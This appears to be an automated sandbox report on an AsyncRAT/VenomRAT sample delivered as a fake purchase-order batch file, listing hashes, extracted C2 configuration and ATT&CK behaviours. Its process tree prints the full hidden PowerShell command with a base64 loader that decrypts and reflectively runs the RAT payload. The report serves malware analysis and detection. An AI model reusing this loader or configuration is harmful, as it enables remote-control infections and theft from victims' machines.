asyncrat | 8d6d2b6338036d5e8412d93debee2acff5d6e8dfce90971fb75fd76df68bb66c

Analysis

max time kernel
102s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
14/03/2025, 18:58

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General

Target

PO43346213032025.bat
Size

88KB
MD5

b715af6823bfb159c958c165147d7eda
SHA1

91daf2240fa69c26a0ec4b7d73702d28437548a3
SHA256

83df3ede16eebe226c879150dc8dd6d451ba5d27bed8b6bac4f52dd63eee849f
SHA512

c884d91d41a9ce24fd61a8fcb9c1edf80d1b18702eceb24e5aa345e8d18257f3065a854ec264edc0ce0ee4f351fe3540e3704c5efc799a9217365e6cf2a16248
SSDEEP

1536:rNkrxoOIFQJQNJsBW4P/LGEcZJyXRNcMtYtgsudkaBZ1INS/Z66ZkbmEKUgXEXzH:rNkVYFQYJ2P/LfcWjYWsulhTZ6DHff

Score

10^/10

asyncrat venomrat feb 27 logs discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

FEB 27 LOGS

Mutex

dwjsrlleihmlidl

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/i3NzmwEg

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/3616-32-0x0000000007490000-0x00000000074A8000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3616-32-0x0000000007490000-0x00000000074A8000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3616	powershell.exe
4	3616	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3616	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6e0797d2.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6e0797d2.cmd	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	pastebin.com
1	pastebin.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3616	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3616	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 5036	1852	cmd.exe	82
PID 1852 wrote to memory of 5036	1852	cmd.exe	82
PID 5036 wrote to memory of 3616	5036	cmd.exe	84
PID 5036 wrote to memory of 3616	5036	cmd.exe	84
PID 5036 wrote to memory of 3616	5036	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO43346213032025.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PO43346213032025.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskd2NrZ3ggPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHdja2d4KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR3Y2tneCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR3Y2tneCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkd2NrZ3giIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gbXpyZXUoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3pCb3l3YzBoOHpUZnpXTFF4T3UyVHhHVGlpZldvdUV4cTZyRUZVM2RhM2M9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JpL1l2SDA4RmZtUWM3c3hEdFZxQWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcGtieHEoJHBhcmFtX3Zhcil7CSRyaGJ5Zj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkem51YXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZm14d2k9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkcmhieWYsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZteHdpLkNvcHlUbygkem51YXIpOwkkZm14d2kuRGlzcG9zZSgpOwkkcmhieWYuRGlzcG9zZSgpOwkkem51YXIuRGlzcG9zZSgpOwkkem51YXIuVG9BcnJheSgpO31mdW5jdGlvbiBoa3dmeigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHh0d2NuPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHVueGZsPSR4dHdjbi5FbnRyeVBvaW50OwkkdW54ZmwuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHdja2d4OyRoZnRjbj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHdja2d4KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdW52IGluICRoZnRjbikgewlpZiAoJHVudi5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHNhaGxwPSR1bnYuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGNmZmhuPVtzdHJpbmdbXV0kc2FobHAuU3BsaXQoJ1wnKTskeHdkdWU9cGtieHEgKG16cmV1IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGNmZmhuWzBdKSkpOyR6b3d5bD1wa2J4cSAobXpyZXUgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY2ZmaG5bMV0pKSk7aGt3ZnogJHh3ZHVlICRudWxsO2hrd2Z6ICR6b3d5bCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lys1v4e3.3f3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
88KB

MD5
b715af6823bfb159c958c165147d7eda

SHA1
91daf2240fa69c26a0ec4b7d73702d28437548a3

SHA256
83df3ede16eebe226c879150dc8dd6d451ba5d27bed8b6bac4f52dd63eee849f

SHA512
c884d91d41a9ce24fd61a8fcb9c1edf80d1b18702eceb24e5aa345e8d18257f3065a854ec264edc0ce0ee4f351fe3540e3704c5efc799a9217365e6cf2a16248

Download Submit
memory/3616-28-0x0000000007280000-0x0000000007312000-memory.dmp

Filesize
584KB

Download
memory/3616-32-0x0000000007490000-0x00000000074A8000-memory.dmp

Filesize
96KB

Download
memory/3616-6-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-7-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

Filesize
136KB

Download
memory/3616-8-0x00000000056D0000-0x0000000005736000-memory.dmp

Filesize
408KB

Download
memory/3616-34-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-4-0x0000000005030000-0x0000000005658000-memory.dmp

Filesize
6.2MB

Download
memory/3616-19-0x0000000005870000-0x0000000005BC4000-memory.dmp

Filesize
3.3MB

Download
memory/3616-20-0x0000000005E80000-0x0000000005E9E000-memory.dmp

Filesize
120KB

Download
memory/3616-21-0x0000000005EB0000-0x0000000005EFC000-memory.dmp

Filesize
304KB

Download
memory/3616-22-0x00000000075C0000-0x0000000007C3A000-memory.dmp

Filesize
6.5MB

Download
memory/3616-23-0x00000000063A0000-0x00000000063BA000-memory.dmp

Filesize
104KB

Download
memory/3616-24-0x0000000006F40000-0x0000000006FD6000-memory.dmp

Filesize
600KB

Download
memory/3616-25-0x00000000064A0000-0x00000000064C2000-memory.dmp

Filesize
136KB

Download
memory/3616-26-0x0000000007C40000-0x00000000081E4000-memory.dmp

Filesize
5.6MB

Download
memory/3616-3-0x00000000028C0000-0x00000000028F6000-memory.dmp

Filesize
216KB

Download
memory/3616-2-0x000000007516E000-0x000000007516F000-memory.dmp

Filesize
4KB

Download
memory/3616-29-0x0000000007270000-0x0000000007278000-memory.dmp

Filesize
32KB

Download
memory/3616-5-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-30-0x0000000007460000-0x0000000007472000-memory.dmp

Filesize
72KB

Download
memory/3616-9-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/3616-35-0x0000000008540000-0x000000000854A000-memory.dmp

Filesize
40KB

Download
memory/3616-36-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-37-0x00000000085F0000-0x000000000868C000-memory.dmp

Filesize
624KB

Download
memory/3616-38-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-39-0x000000007516E000-0x000000007516F000-memory.dmp

Filesize
4KB

Download
memory/3616-40-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-41-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-42-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-43-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-45-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-46-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-47-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-48-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-50-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-51-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download
memory/3616-52-0x0000000075160000-0x0000000075910000-memory.dmp

Filesize
7.7MB

Download